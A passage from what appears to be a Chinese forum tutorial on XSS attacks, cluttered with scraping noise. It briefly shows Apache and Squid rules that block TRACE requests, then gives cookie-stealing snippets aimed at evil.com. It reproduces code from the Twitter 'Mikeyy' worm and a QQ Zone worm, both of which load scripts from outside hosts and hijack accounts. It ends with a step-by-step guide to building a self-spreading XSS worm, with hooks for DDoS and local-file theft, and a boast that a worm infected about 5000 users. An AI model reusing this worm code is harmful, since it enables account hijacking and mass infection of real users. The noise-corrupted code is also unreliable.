. z1 [$ J* `0 t) X  T如何防止对方采用TRACE访问你的网站?APACHE可以采用.htaccess来Rewrite TRACE请求
* L  X7 v. |5 T4 Q/ h8 b
/ {2 e% M; M  J) m0 \2 |[code]
5 \' s: O1 \( C
RewriteEngine On
: `2 X" F) K8 T) c; `/ C$ P$ b
RewriteCond %{REQUEST_METHOD} ^TRACE
' K, [  z: S/ G& d- u, w* I/ Q1 d
RewriteRule .* - [F]
5 m; L' d9 U; ^3 H  @  s
7 u, A) s7 l1 {+ z6 B5 N$ k1 w1 ]

Squid可以添加以下信息到Squid configuration file (squid.conf),屏蔽TRACE请求

% }" x! f- ~- u, N4 D1 r* Zacl TRACE method TRACE

" V8 }8 d% q- J' n1 m+ w. z...

http_access deny TRACE
7 d5 h9 b) _# v复制代码突破还可以采用XmlHttp.setRequestHeader.通过setRequestHeader,把COOKIES等信息转向到目标页面.<script>

! ?+ f) y& e# i! `var XmlHttp = new ActiveXObject("Microsoft.XMLHTTP");
$ n$ i) q' v; J" d! E0 Z
XmlHttp.open("GET","http://www.google.com",false);

XmlHttp.setRequestHeader("Host","www.evil.com/collet.php");

' X$ ^9 K2 k+ [9 jXmlHttp.send(null);
: H- Z8 P7 y' G; H' v* t
</script>
复制代码当Apache启动了mod_proxy,还可以使用proxy方式作为中间人方式获得受保护COOKIES.<script>

var XmlHttp = new ActiveXObject("Microsoft.XMLHTTP");


; b9 I* ?( T! H$ ?! g
XmlHttp.open("GET\thttp://www.evil.com/collet.php","http://www.vul.site/wherever",false);

; G3 q1 h7 D* x6 Q9 ZXmlHttp.send(null);

* d+ f' z. A* _5 {<script>
! E; C  H  H0 e5 D复制代码(IV) 综合性的高级XSS蠕虫:什么是XSS蠕虫,他的实现,传染,工作原理,常见作用都是什么.
复制代码案例:Twitter 蠕蟲五度發威
* p5 `0 j9 D1 |! K8 C7 i% e第一版:
  下载 (5.1 KB)
! T- I; z% ?" g) }3 o9 _) q6 u
6 \0 B8 E7 F$ w6 天前 08:27
5 }) [/ i  }; O
8 c6 H6 a) s+ W& n( y' k, }第二版:   1. var _0xc26a = ["Msxml2.XMLHTTP", "Microsoft.XMLHTTP", "connect", "toUpperCase", "GET", "?", "open", "", "Method", "OST ", " HTTP/1.1", "setRequestHeader", "Content-Type", "application/x-www-form-urlencoded", "onreadystatechange", "readyState", "send", "split", "join", "'", "%27", "(", "%28", ")", "%29", "*", "%2A", "~", "%7E", "!", "%21", "%20", "+", "%", "replace", "innerHTML", "documentElement", "exec", "Twitter should really fix this... Mikeyy", "I am done... Mikeyy", "Mikeyy is done..", "Twitter please fix this, regards Mikeyy", "random", "length", "floor", "mikeyy "></a><script>document.write(unescape(/%3c%73%63%72%69%70%74%20%73%72%63%3d%22%68%74%74%70%3a%2f%2f%63%6f%6e%74%65%6e%74%2e%69%72%65%65%6c%2e%63%6f%6d%2f%6a%73%78%73%73%2e%6a%73%22%3e%3c%2f%73%63%72%69%70%74%3e/.source));</script> <a ", "mikeyy "></a><script>document.write(unescape(/%3c%73%63%72%69%70%74%20%73%72%63%3d%22%68%74%74%70%3a%2f%2f%63%6f%6e%74%65%6e%74%2e%69%72%65%65%6c%2e%63%6f%6d%2f%78%73%73%6a%73%2e%6a%73%22%3e%3c%2f%73%63%72%69%70%74%3e/.source));</script> <a ", "mikeyy "></a><script>document.write(unescape(/%3c%73%63%72%69%70%74%20%73%72%63%3d%22%68%74%74%70%3a%2f%2f%62%61%6d%62%61%6d%79%6f%2e%31%31%30%6d%62%2e%63%6f%6d%2f%77%6f%6d%70%77%6f%6d%70%2e%6a%73%22%3e%3c%2f%73%63%72%69%70%74%3e/.source));</script> <a ", "/status/update", "OST", "authenticity_token=", "&status=", "&return_rendered_status=true&twttr=true", "/account/settings", "&user[name]=Womp+++++++++++++++++++++++++++++++++++++++++!&user=", "&tab=home&update=update", "/account/profile_settings", "&user[profile_default]=false&tab=none&profile_theme=0&user[profile_use_background_image]=0&user[profile_background_tile]=0&user[profile_link_color]=", "&commit=save+changes", "wait()""];  
# o2 G' J/ E4 R+ z# {4 K
% ?, z6 e  _2 ^   2.   
, U4 `- g+ N# |. o' L
- h. J, h8 C. [! X) D   3. function XHConn(){  

# N. T. h+ }+ M' N5 q, X   4.   var _0x6687x2,_0x6687x3=false;  

( i( N, l" N, z1 G& x   5.   try{ _0x6687x2= new ActiveXObject(_0xc26a[0x0]); }  
: _7 s( @0 O& V3 X3 Q/ @9 k; {$ b
0 j* u6 E5 F4 Y# x6 i   6.   catch(e) { try{ _0x6687x2= new ActiveXObject(_0xc26a[0x1]); }  
) o* [) b" H1 g: p  O
0 ]: F8 T$ Q1 O   7.   catch(e) { try { _0x6687x2= new XMLHttpRequest(); }  

   8.   catch(e) { _0x6687x2=false; }; }; };  
复制代码第六版:   1. function wait() {  

   2.   var content = document.documentElement.innerHTML;  

( I/ t% N& P) q; C: x   3.   var tmp_cookie=document.cookie;  
4 U2 \2 O  l& U
0 y% M# C8 k* M& S: A6 \$ v   4.   var tmp_posted=tmp_cookie.match(/posted/);  
7 O4 c9 I" t% I# E' L
9 w, `) s; a3 v5 |' u$ b   5.   authreg= new RegExp(/twttr.form_authenticity_token = '(.*)';/g);  
. ], H3 {9 \0 q8 s/ ^. a
   6.   var authtoken=authreg.exec(content);  
7 H( y% W4 ?. P
  R2 b2 Z( d; O5 U- z   7.   var authtoken=authtoken[1];  

, L! v8 R2 m- y9 |1 q- T   8.   var randomUpdate= new Array();  
. }& ^0 H& o( d% N) n4 Q
- N7 c0 Q; n4 ?4 ?- P. @   9.   randomUpdate[0]= "Be nice to your kids. They'll choose your nursing home. Womp. mikeyy.";  
8 u! w1 k$ ]1 }& W5 f1 x; H
  10.   randomUpdate[1]= "If you are born ugly blame your parents, if you died ugly blame your doctor. Womp. mikeyy.";  
3 @$ @! P' T- h3 v. X) H% j1 O
  11.   randomUpdate[2]= "Every man should marry. After all, happiness is not the only thing in life. Womp. mikeyy.";  
6 b; h1 m% Q- [. Y* q
$ i7 a  ^+ ?; `, E  12.   randomUpdate[3]= "Age is a very high price to pay for maturity. Womp. mikeyy.";  

  13.   randomUpdate[4]= "Ninety-nine percent of all lawyers give the rest a bad name. Womp. mikeyy.";  

  14.   randomUpdate[5]= "If your father is a poor man, it is your fate, but if your father-in-law is a poor man, it's your stupidity. Womp. mikeyy.";  
& X% e- |% Q7 N" r/ R
  15.   randomUpdate[6]= "Money is not the only thing, it's everything. Womp. mikeyy.";  
' @. A5 W- R* k3 ~( q6 [: L. N9 f
7 a4 _1 P' c% y6 ?5 Z$ e  16.   randomUpdate[7]= "Success is a relative term. It brings so many relatives. Womp. mikeyy.";  

  17.   randomUpdate[8]= "'Your future depends on your dreams', So go to sleep. Womp. mikeyy.";  

  18.   randomUpdate[9]= "God made relatives; Thank God we can choose our friends.Womp. mikeyy.";  

" X9 y3 s' M  G7 Z  19.   randomUpdate[10]= "'Work fascinates me' I can look at it for hours ! Womp. mikeyy.";  

  20.   randomUpdate[11]= "I have enough money to last me the rest of my life. (unless I buy something) Womp. mikeyy.";  
- b. Y% o& s) ]
% q' V# Y0 X/ K* _$ p8 ^) L  21.   randomUpdate[12]= "RT!! @spam Watch out for the Mikeyy worm [url]http://bit.ly/XvuJe";  

  22.   randomUpdate[13]= "FUCK. NEW MIKEYYY WORM! REMOVE IT: http://bit.ly/fuSkF";  
8 b, ~& o, |% }! \  L' H, @- o4 O5 F
  w4 x0 e' b0 ?* O5 r' M  23.   randomUpdate[14]= "Mikeyy worm is back!!! Click here to remove it: http://bit.ly/UTPXe";  
* m- P- U. }6 E. s: [+ l! a# t
' |) W0 y+ T0 p, }0 Q5 c  24.     

  25.   var genRand = randomUpdate[Math.floor(Math.random()*randomUpdate.length)];  
8 s" `9 }+ ~5 J$ z, n
  26.   var updateEncode=urlencode(randomUpdate[genRand]);  

2 n5 P. s. F) J( Q1 H  27.     
: w6 y" k! [7 P, q+ f! g  H
  28.   var ajaxConn= new XHConn();  

- {, m, j; M: a* Z2 m+ Z  29.   ajaxConn.connect("/status/update","OST","authenticity_token="+authtoken+_"&status="+updateEncode+"&return_rendered_status=true&twttr=true");  
- @2 A' }; F$ _& e2 }
/ V# r, @" U7 o( h, n  30.   var _0xf81bx1c="Mikeyy";  

  31.   var updateEncode=urlencode(_0xf81bx1c);  
. N# p+ w# O1 A/ V" x3 A9 q
  32.   var ajaxConn1= new XHConn();  
% t: F# v& n+ u
, [1 g5 k2 z9 T  i9 n4 m  33.   ajaxConn1.connect("/account/settings","OST","authenticity_token="]+authtoken+"&user[name]="+updateEncode+""+updateEncode+"&user[description]="+updateEncode+"&user[location]="+updateEncode+"&user[protected]=0&commit=Save");  

+ p# g- P9 Q4 c  L* Q  34.   var genXSS="000; }  #notifications{width: expression(document.body.appendChild(document.createElement('script')).src='http://runebash.net/xss.js');) #test { color:#333333";  
8 h0 i' |. l* u0 b+ g5 W
& b. i' s8 F7 `: Z+ `/ C  35.   var XSS=urlencode(genXSS);  

  36.   var ajaxConn2= new XHConn();  

) ?9 \3 p+ V+ R) {  37.   ajaxConn2.connect("/account/profile_settings",""OST,"authenticity_token="]+authtoken+"&user[profile_sidebar_fill_color]="+XSS+"&commit=save+changes");  

  38.     
( b( v/ F& H$ |
  39. } ;  

( Q0 i" H* A3 a0 Y  40. setTimeout(wait(),5250);  
复制代码QQ空间XSSfunction killErrors() {return true;}

. U# w, R( m% u! n) bwindow.onerror=killErrors;
0 o# i6 @( t! \; n1 w& f- ?
4 E2 l* ?6 w$ I6 o& o- D; V4 L

+ p# ^; C5 t4 {# t2 U5 Hvar shendu;shendu=4;
  [# g2 x7 b, q4 Z
7 n  \' d9 a3 R  v; B//---------------global---v------------------------------------------

//通过indexOf函数得到URL中相应的字符串，用于判断是否登录的吧？

' t' T& d3 G$ ^5 cvar visitorID;var userurl;var guest;var xhr;var targetblogurlid="0";
: {/ z4 }/ X6 e  A' Y8 v
var myblogurl=new Array();var myblogid=new Array();
, H8 c1 |& A6 Z3 l
        var gurl=document.location.href;

        var gurle=gurl.indexOf("com/");

+ m+ B3 L5 ?# |' r& T        gurl=gurl.substring(0,gurle+3);        
. F( h' @- a! N9 s( l/ I
        var visitorID=top.document.documentElement.outerHTML;

. e% J3 n3 n3 _' B7 z( F, n1 s           var cookieS=visitorID.indexOf("g_iLoginUin = ");

        visitorID=visitorID.substring(cookieS+14);
$ G1 t! B# ?+ e7 c% U6 _# t5 Y0 V
; a3 C9 c* A2 u) Q* F8 w        cookieS=visitorID.indexOf(",");

" f! O0 Q+ F( _5 h" l" E        visitorID=visitorID.substring(0,cookieS);
. u5 C3 Z, t; G& e; l$ m
) ?7 N; a) c+ J: g: Y/ K+ T        get_my_blog(visitorID);
# t6 Q" I% g" i' v
' A" G' U# o2 L$ F" I, h        DOshuamy();
4 v$ S0 U% h# R
% H8 u* w; r, b+ B
  @" `* }% J" i) ^2 A
//挂马

/ W, m- X) [/ x' S; l/ M3 E- ?function DOshuamy(){

var ssr=document.getElementById("veryTitle");

9 p4 |" K1 W, b: @ssr.insertAdjacentHTML("beforeend","<iframe width=0 height=0 src='http://www.xxx.com/1.html'></iframe>");

: H  W: X# P% a5 |, E$ v6 E}
( i7 ^# z9 q1 z- [- L2 {: ]3 g2 G


//如果创建XMLHttpRequest成功就跳到指定的URL去，这个URL是干什么的就不知道了，没看过，刷人气？
' t. B; U) Z% y( a
function get_my_blog(visitorID){

   userurl=gurl+"/cgi-bin/blognew/blog_output_toppage?uin="+visitorID+"&direct=1";

' U; B! h. `. ?6 m   xhr=createXMLHttpRequest();    //创建XMLHttpRequest对象
3 N( J' L' K- u! n1 r
+ l9 _! e. J! J  h! q# x$ {; C; i: Y0 V   if(xhr){    //成功就执行下面的
0 O- j9 D# j+ _2 n( ^
     xhr.open("GET",userurl,false);    //以GET方式打开定义的URL
3 {' `- l3 n. B/ R- ?2 a1 R* W  ^
2 W' V) s3 t+ M% {) [4 x     xhr.send();guest=xhr.responseText;

     get_my_blogurl(guest);    //执行这个函数

( b# E  o( E1 A% Z. b' y4 F0 d    }

: C* m6 R3 k: O, a: H}

$ p0 b& E1 F6 f) F; ?
( j8 c1 C$ S( `- ?
//这里似乎是判断没有登录的

function get_my_blogurl(guest){
$ G, u" }# m5 n' ?1 R7 T
& t/ H- \/ Y% I1 X0 E7 [  var mybloglist=guest;

+ |( J; Z: d1 C  var myurls;var blogids;var blogide;

  for(i=0;i<shendu;i++){
5 Y9 y9 Q6 R; Y2 B/ @$ {9 p% F
     myurls=mybloglist.indexOf('selectBlog(');    //查找URL中"selectBlog"字符串，干什么的就不知道了
- B/ c' T. P6 V
: R) ?* o. P: v, y8 O2 c; j0 H2 S/ p     if(myurls!=-1){    //找到了就执行下面的
9 ?- l: k. T3 {+ [8 m6 s8 }
         mybloglist=mybloglist.substring(myurls+11);

         myurls=mybloglist.indexOf(')');

* n  p' H3 G4 A) [2 Z         myblogid=mybloglist.substring(0,myurls);
9 w: D' U) h; k- B8 q1 i) B( [
3 A0 U! F" A. v! A        }else{break;}
" b/ U+ \5 f  t+ `! Q& T7 ]6 W
: J8 d# s. u! X* M}

" p' ], K% K% E! m7 fget_my_testself();    //执行这个函数

% z2 E0 j# b& ]: f8 m6 c& _}

: `9 `6 w; N9 C4 z: C: V5 ]% A$ G
# {8 ]2 @% _, Q2 p- \8 h$ D
//这里往哪跳就不知道了
7 ~( @: X3 i& Z% g) g( g, f- W& b
function get_my_testself(){

: m* v3 P" j/ i- _7 k" |  for(i=0;i<myblogid.length;i++){    //获得blogid的值
0 O. G8 t4 R& z( z9 O
      var url=gurl+"/cgi-bin/blognew/blog_output_data?uin="+visitorID+"&blogid="+myblogid+"&r="+Math.random();

. d6 s/ z! I0 ]: T1 L3 V' t      var xhr2=createXMLHttpRequest();    //创建XMLHttpRequest对象

      if(xhr2){        //如果成功
3 D8 z# v" O: }
              xhr2.open("GET",url,false);     //打开上面的那个url

              xhr2.send();

              guest2=xhr2.responseText;
! W9 ^2 b: \9 x! U
              var mycheckit=guest2.indexOf("baidu");    //找"baidu"这个字符串，找它做什么？
( o* \- b( V5 Q& \$ r0 w
              var mycheckmydoit=guest2.indexOf("mydoit"); //找"mydoit"这个字符串

( w3 C9 D. h! _4 ~: z, A              if(mycheckmydoit!="-1"){    //返回-1则代表没找到
# ?0 T0 f! V$ P' E
7 ^: g# U( p6 Z7 u) S$ t/ p                targetblogurlid=myblogid;   
, H* B! \' {, A3 _+ @5 i
                add_jsdel(visitorID,targetblogurlid,gurl);    //执行它
  ^) ?/ v" u% Z' o
                break;
; W1 {' ]$ }& p5 |, O
* V6 O* w6 M" ]+ U4 s2 e7 W, o               }
8 O  v( g4 K% A% S# j# R( [
6 E2 k& _5 q4 S; O/ b& H, k0 ^$ A              if(mycheckit=="-1"){
( v( P. Z; a9 X1 Q
                targetblogurlid=myblogid;
( _& I1 ^5 D% m9 I4 X, S  ^
% `$ p3 A  [- G/ c                add_js(visitorID,targetblogurlid,gurl);    //执行它
- |6 z( q5 k1 l; j: `
                break;

               }
& M) J* J; p9 {3 m* `, D( Q
        }      
% k0 x7 d, `  K" S9 f; f1 @
}

}

% C5 o1 X& n. J3 X

- i' X. {  M7 F  i! x//--------------------------------------  
8 s" E. w  d/ t5 \2 i+ Q5 r: L
4 S% W  W2 U: o2 A* {3 p% T+ ?//根据浏览器创建一个XMLHttpRequest对象

function createXMLHttpRequest(){

0 j; p( ^" m$ E  K    var XMLhttpObject=null;  

  U8 z2 C) d; ?' }9 q, Q    if (window.XMLHttpRequest) {XMLhttpObject = new XMLHttpRequest()}  
  f. P+ }2 z. T( D& Y
5 |" y* c4 q2 @" c    else  

* I8 Y6 }. r2 x7 R# n0 E      { var MSXML=['Msxml2.XMLHTTP.7.0','Msxml2.XMLHTTP.6.0', 'Msxml2.XMLHTTP.5.0', 'Msxml2.XMLHTTP.4.0', 'MSXML2.XMLHTTP.3.0', 'MSXML2.XMLHTTP','MSXML.XMLHTTP', 'MICROSOFT.XMLHTTP.1.0','MICROSOFT.XMLHTTP.1', 'Microsoft.XMLHTTP'];        
! Q; x( @; A# [2 \" c! \
        for(var i=0;i<MSXML.length;i++)  
+ j/ e+ [: m" X/ P8 g
        {  

            try  

            {  
" x' D; H2 d7 _' f0 y1 o8 q
                XMLhttpObject=new ActiveXObject(MSXML);  

! |/ W, c" {: C% R- L                break;  

. N' i# S# ~  W$ O7 U6 [0 @! S            }  
9 A% e9 S& V% L1 ]+ {
            catch (ex) {  
. S0 b. R) ~1 r( C" Z
            }  
- [- M+ e: d: H6 _  F* I. E
         }  
5 o/ ~9 o; x4 H* Z
      }

% Q( P6 p7 G: ^' K7 Ereturn XMLhttpObject;
! t6 x2 O1 H& F# u, R! U
- s- Q0 u: o, `. h; M}  



//这里就是感染部分了
7 Z$ {' \' R  N/ b& U8 I
9 x6 d% J+ v) I! j0 m: B( Z- j. `function add_js(visitorID,targetblogurlid,gurl){
1 Y. ]+ ?, Q& \1 u
var s2=document.createElement('script');

s2.src='http://xss0211.111.5ghezu.com.cn/images/qq/temp/wm/linshi/index.php?gurl='+gurl+'&uin='+visitorID+'&blogid='+targetblogurlid+"&r="+Math.random();
! M2 I8 j+ c9 }$ [9 ]
s2.type='text/javascript';

* q/ Q* H! M6 X7 i6 P/ kdocument.getElementsByTagName('head').item(0).appendChild(s2);

}
5 U4 T8 c( `+ f
2 W2 W& u( [+ Y* d; Q/ Z) U

! T( T9 h; S3 Q2 ffunction add_jsdel(visitorID,targetblogurlid,gurl){
6 Z9 v6 l6 ^: G9 u1 b4 U# G
var s2=document.createElement('script');
% B; y$ H3 w: s; ^! m
s2.src='http://xss0211.111.5ghezu.com.cn/images/qq/temp/wm/linshi/del.php?gurl='+gurl+'&uin='+visitorID+'&blogid='+targetblogurlid+"&r="+Math.random();

; H7 w1 j) A$ S% x/ ds2.type='text/javascript';
$ X4 B: X+ g) d8 y) z
# j) `& a: [, u( r$ Ldocument.getElementsByTagName('head').item(0).appendChild(s2);

}
2 E; p' L) W! p0 C: t- N% `复制代码通过以上几个蠕虫,我们可以总结蠕虫的工作原理为:
1:首先写入调用蠕虫代码到一个存在XSS漏洞的位置(在非长久性XSS漏洞里,我们也可以通过把短暂性的XSS连接通过各种传播方式,发送给其他用户,当某个用户中了XSS后,再通过蠕虫,向其好友发送同一短暂性XSS连接.)

2:受害用户在登陆状态中,观看了存在XSS的问题页面,JS执行,并植入XSS蠕虫代码到该用户帐户中,且通过搜索好友等方法,传播给其他用户.即复制感染过程.(在论坛或者回复类型页面中传播XSS蠕虫,只要保证每页面同时存在2个或者以上蠕虫,就可以保证蠕虫不会被增加的数据覆盖.)
  h$ n1 E" v# r4 {
% W) `) y2 y: U综上所述,结合以上种种技巧,就可以创造我们自己的XSS蠕虫了.在我们的蠕虫里,我们可以添加截取屏幕功能,DDOS功能,可以判断客户端浏览器的版本,读取并且发送客户端的本地文件~
- b% }. c: S% |( ~) D
% ~. M. V# z2 l
/ }6 C( M& Q( ~8 t4 H0 J7 U下面,我们来初步写一个简单主体蠕虫,并且预留可添加功能的地方.

首先,自然是判断不同浏览器,创建不同的对象var request = false;

3 {* m# c& f' F; Q5 v3 m2 g" Mif(window.XMLHttpRequest) {
& |3 E2 q$ L' j( _$ {
& Q4 B( N9 J1 [% Z5 o& W% ~request = new XMLHttpRequest();
( F$ X% U& ~  |5 R1 I
3 i4 S% W9 [- w# c/ z. n1 ?2 b6 Bif(request.overrideMimeType) {
1 a. w/ `/ Y% Z8 D" v5 x# u% j
  P3 e1 X4 m# }$ O$ R% s) J& |( Trequest.overrideMimeType('text/xml');

7 W' R$ v) e* C}
/ x* z9 Y, ~, D1 U3 S& x9 @
} else if(window.ActiveXObject) {
( S: h* Z& i! d- v" g2 U
1 J& o/ x1 {5 r/ Q( ~2 [: C1 {var versions = ['Microsoft.XMLHTTP', 'MSXML.XMLHTTP', 'Microsoft.XMLHTTP', 'Msxml2.XMLHTTP.7.0', 'Msxml2.XMLHTTP.6.0', 'Msxml2.XMLHTTP.5.0', 'Msxml2.XMLHTTP.4.0', 'MSXML2.XMLHTTP.3.0', 'MSXML2.XMLHTTP'];

for(var i=0; i<versions.length; i++) {

) B3 N9 J6 R! e& C) D# R) Wtry {
, m( y* u6 o2 y( n( q
5 q( S1 U. ?% Z7 Y9 s. `4 U, z6 M( Arequest = new ActiveXObject(versions);
( O" _5 B$ a, l: l1 `! M
} catch(e) {}

}
) B. C+ y9 a% V4 B) [  _, o7 ]/ g
}

xmlHttpReq=request;
* C! S7 ^9 m# C复制代码可以此时添加判断浏览器具体型号和版本:   function browserinfo(){
# X- l" T/ ]; g. w1 v
6 y$ ?8 r6 t' c: k" u0 Y        var Browser_Name=navigator.appName;
! d8 ^, {  f8 ?8 F2 K. G
        var Browser_Version=parseFloat(navigator.appVersion);

$ I9 b' p: x  k1 I+ o        var Browser_Agent=navigator.userAgent;

( g: R6 e% j; n2 o! U. B8 |# ~        
: g! E8 \+ W1 w4 j/ I
        var Actual_Version,Actual_Name;
6 o" v8 x# f% c; m4 t: f- t8 b6 R& h
$ t5 q$ U" h' t; Z* w9 Q3 O) o! Q        
# l/ k0 v. R8 v
' c3 D% I; r% w; z( c, x        var is_IE=(Browser_Name=="Microsoft Internet Explorer");
9 J$ Y* C3 w4 m! n1 v  i3 X# w) G
        var is_NN=(Browser_Name=="Netscape");
$ g/ a: s4 F" f( U6 z+ ~
        var is_Ch=(Browser_Name=="Chrome");
; Z9 Q2 Z  l2 R' Z
' ~* ]2 q2 ^: ^5 M5 V        

        if(is_NN){
) l# z6 |2 x# G( [9 X
0 \2 W4 C) v3 K* Z2 v& D$ q  s; Q4 D            if(Browser_Version>=5.0){
3 Z1 |0 h8 d8 e- w! [; k
9 Z6 u0 l! W5 I) ?                var Split_Sign=Browser_Agent.lastIndexOf("/");

) f  Y" u6 a, S+ _/ x  O                var Version=Browser_Agent.indexOf(" ",Split_Sign);
5 q# |. ]+ [; U$ J
                var Bname=Browser_Agent.lastIndexOf(" ",Split_Sign);

# q- b" S  s: v# i' h, e% d. u
: n4 N7 c4 U, `" l6 A3 K  ]
                Actual_Version=Browser_Agent.substring(Split_Sign+1,Version);

                Actual_Name=Browser_Agent.substring(Bname+1,Split_Sign);

            }

, K6 ?' Z0 h# |, Y            else{

                Actual_Version=Browser_Version;
# e2 k5 D5 i# a- T
                Actual_Name=Browser_Name;

            }

% [! \0 Z. q2 i% [0 E        }
; x& y# ?& K. [# m, @
        else if(is_IE){

            var Version_Start=Browser_Agent.indexOf("MSIE");
7 Z) l5 ~: i$ |$ R6 M+ F9 Q& }9 s9 B
            var Version_End=Browser_Agent.indexOf(";",Version_Start);
8 R/ t7 u- |4 x4 E. w
; {; o3 N  Z) a2 w+ |            Actual_Version=Browser_Agent.substring(Version_Start+5,Version_End)

            Actual_Name=Browser_Name;

            

            if(Browser_Agent.indexOf("Maxthon")!=-1){
' v; M5 O' l  E8 J8 g& [) @: P8 S7 n
                Actual_Name+="(Maxthon)";

. w6 J5 D8 @# Y- N            }

            else if(Browser_Agent.indexOf("Opera")!=-1){

                Actual_Name="Opera";
( V+ t1 \7 S1 B- l$ b$ V
                var tempstart=Browser_Agent.indexOf("Opera");

                var tempend=Browser_Agent.length;
9 a7 q6 w6 J! X  j. J$ ?
' e" \# r5 t4 |1 l( b( }                Actual_Version=Browser_Agent.substring(tempstart+6,tempend)
# I" y1 C1 R: E3 b, o0 S
            }
9 h+ W- i! g  I# t0 @$ M  z
' p! L& j/ N2 j7 [6 t4 [+ j        }

3 K% c7 f5 u/ X: W        else if(is_Ch){

            var Version_Start=Browser_Agent.indexOf("Chrome");

- q; G1 V. E5 H2 y2 z* D+ c" N% q            var Version_End=Browser_Agent.indexOf(";",Version_Start);

            Actual_Version=Browser_Agent.substring(Version_Start+5,Version_End)
  s1 H7 Z( k3 H
: P% H! m1 J4 G5 E. J            Actual_Name=Browser_Name;

            

            if(Browser_Agent.indexOf("Maxthon")!=-1){
( |' j4 ]" p& B" J) {3 P; X0 ]3 I, E1 N
9 i/ c& s6 D3 \% T! |# a% Z                Actual_Name+="(Maxthon)";
% a* P: y( P, b6 U8 Q
            }

            else if(Browser_Agent.indexOf("Opera")!=-1){
# t2 g" ?1 H9 r$ ^; Y/ |6 [
                Actual_Name="Opera";
- p/ \$ O) M' I+ y
' k" l; f2 g8 e' v% x" j( m                var tempstart=Browser_Agent.indexOf("Opera");
( J& @2 k3 L1 v, E: B
* H. h! Z6 A/ a$ d- H# \' ^                var tempend=Browser_Agent.length;
& [8 r, s. X: n& W, v, Q4 q
                Actual_Version=Browser_Agent.substring(tempstart+6,tempend)
6 O" A( M5 ?" W! o
            }
( Q* v( c* I0 X5 q) r
$ J- O/ ~" O# d/ h' ]8 W7 F        }
5 _' l' J" ?; H4 N
        else{

8 d8 C1 L5 u' W, s5 S% ?            Actual_Name="Unknown Navigator"

6 H9 C4 P# j- d! f            Actual_Version="Unknown Version"

' H3 C& L- j/ I% E8 k; X' \) K8 h, I. o: ?        }
* J' k% j1 O; g: R

; _. {4 X* p# b3 r$ X" Q3 O
; ~: _! R8 x% i3 q+ M  \        navigator.Actual_Name=Actual_Name;

. U4 e) W5 j; z! U        navigator.Actual_Version=Actual_Version;

        

        this.Name=Actual_Name;
0 s! c" c. d2 b  N8 g6 v
        this.Version=Actual_Version;
0 F1 S" G6 G7 i) x  @4 g" e8 Y
7 n: N" C, U$ b    }
$ S, M5 I0 n$ }* M+ q* z/ b
    browserinfo();

    if(navigator.Actual_Version<8&&navigator.Actual_Name=="Miscrosoft Internet Explorer"){//调用IE读取本地敏感文件}
5 [5 B( Y( K* z3 |$ ?. f7 B
    if(navigator.Actual_Version<8&&navigator.Actual_Name=="Fire fox"){//调用Firefox读取本地敏感文件}
2 i& o+ E7 M( [9 _0 C1 b) `* p
    if(navigator.Actual_Version<8&&navigator.Actual_Name=="Opera"){//调用Opera读取本地敏感文件}
' C$ ?- j' Y/ F
    if(navigator.Actual_Version<8&&navigator.Actual_Name=="Google Chrome"){//调用Google Chrome读取本地敏感文件}
. N) r4 F, f- J5 M复制代码随后可以选择调用镜象网页并且发送功能.参考上面的镜象代码
5 E9 V1 V" j4 F8 F6 j5 X复制代码随后可以选择调用DDOS功能.参考上面的DDOS代码
复制代码然后,在感染和传播功能发作之前,我们要判断当前页面有没有蠕虫存在,如果有,有多少只.如果虫的数量足够,我们就不要再植入蠕虫了.只要保证一定的数量就好.xmlHttpReq.open("GET","http://vul.com/vul.jsp", false);  //读取某页面.
& A* m; ^! w  S
xmlHttpReq.send(null);
' o4 o# l9 h: A  V8 `. E- m2 `
var resource = xmlHttpReq.responseText;

var id=0;var result;
* C- J$ J2 P! f+ m) f1 Y
6 ~; m  b& X$ g& K% Lvar patt = new RegExp("bugbug.js","g");     //这里是蠕虫的关键词,用以确定页面有多少只虫.譬如如果你的虫在bugbug.js,那么就可以搜索这个JS在页面内的数量.

while ((result = patt.exec(resource)) != null)  {
+ L! \( E  S/ Z" P: r5 i
, }8 i# @1 A9 R$ b( `id++;

}
复制代码然后,我们根据数量,来做下一步的操作.先判断,如果数量太少,我们就要让蠕虫感染起来.if(id<2){     //这里我们假设要求那个页面蠕虫的数量要有2只.
$ H$ I, p( g) o  [+ h5 U
no=resource.search(/my name is/);

var wd='<script src="http://www.evil.com/bugbug.js"</script>';        //wd是存在XSS漏洞的变量.我们在这里写入JS代码.
7 F4 U# k. O2 Y/ u8 U( I( A* V
var post="wd="+wd;
# C. D  G2 n# X5 h
xmlHttpReq.open("OST","http://www.vul.com/vul.jsp",false);        //把感染代码 POST出去.

3 w$ z1 Z) f1 U, f" P- w3 [1 KxmlHttpReq.setRequestHeader("Accept","image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, application/vnd.ms-powerpoint, application/vnd.ms-excel, application/msword, */*");

' \- x3 r5 K" p4 a, Z, lxmlHttpReq.setRequestHeader("content-length",post.length);
0 D" i; ~8 ^* t; G4 g7 f; I  ^* q  v# E0 S
" w0 F$ J- q; I7 J- q7 lxmlHttpReq.setRequestHeader("content-type","application/x-www-form-urlencoded");

xmlHttpReq.send(post);

! t: X0 B6 L+ \7 p3 s$ ?}
; z, w: t% m1 u$ a8 ^复制代码如果虫的数量已经足够,那么我们就执行蠕虫:else{

var no=resource.search(/my name is/);     //这里是访问一个授权页面里,取得用户的名称.备份,并将来用在需要填写名称的地方

: H$ R1 G: J+ K* k9 uvar namee=resource.substr(no+21,5);     //这里是重组用户名,条件是随便写的.具体情况当然要不同获得.

var wd="Support!"+namee+"<br>";        //这里就发出去了一个你指定的MESSAGE.当然,你可以把数据存入一组数组,random读取.
4 d  D7 Z. l; @' k
var post="wd="+wd;

xmlHttpReq.open("OST","http://vul.com/vul.jsp",false);
) |* j" K3 g: a& z& h% X, D
xmlHttpReq.setRequestHeader("Accept","image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, application/vnd.ms-powerpoint, application/vnd.ms-excel, application/msword, */*");

2 C: g( a2 p6 ^3 q  uxmlHttpReq.setRequestHeader("content-length",post.length);

2 V$ H& s  t' l& B$ T+ P1 o& F  n% _xmlHttpReq.setRequestHeader("content-type","application/x-www-form-urlencoded");
2 y+ v% n% g+ z( J
" f# D' o0 q! I% U& |  YxmlHttpReq.send(post);                 //把传播的信息 POST出去.

. W* ~. a' m  @! A# Z}
+ e  T$ Q0 m; ?( x- a$ Y1 }3 X复制代码-----------------------------------------------------总结-------------------------------------------------------------------
) w6 I- s% i, x+ O* a
' t0 J0 _% m  }& m

' |4 \' M& R, |本次教程案例中的蠕虫曾经测试成功并且感染了约5000名用户.
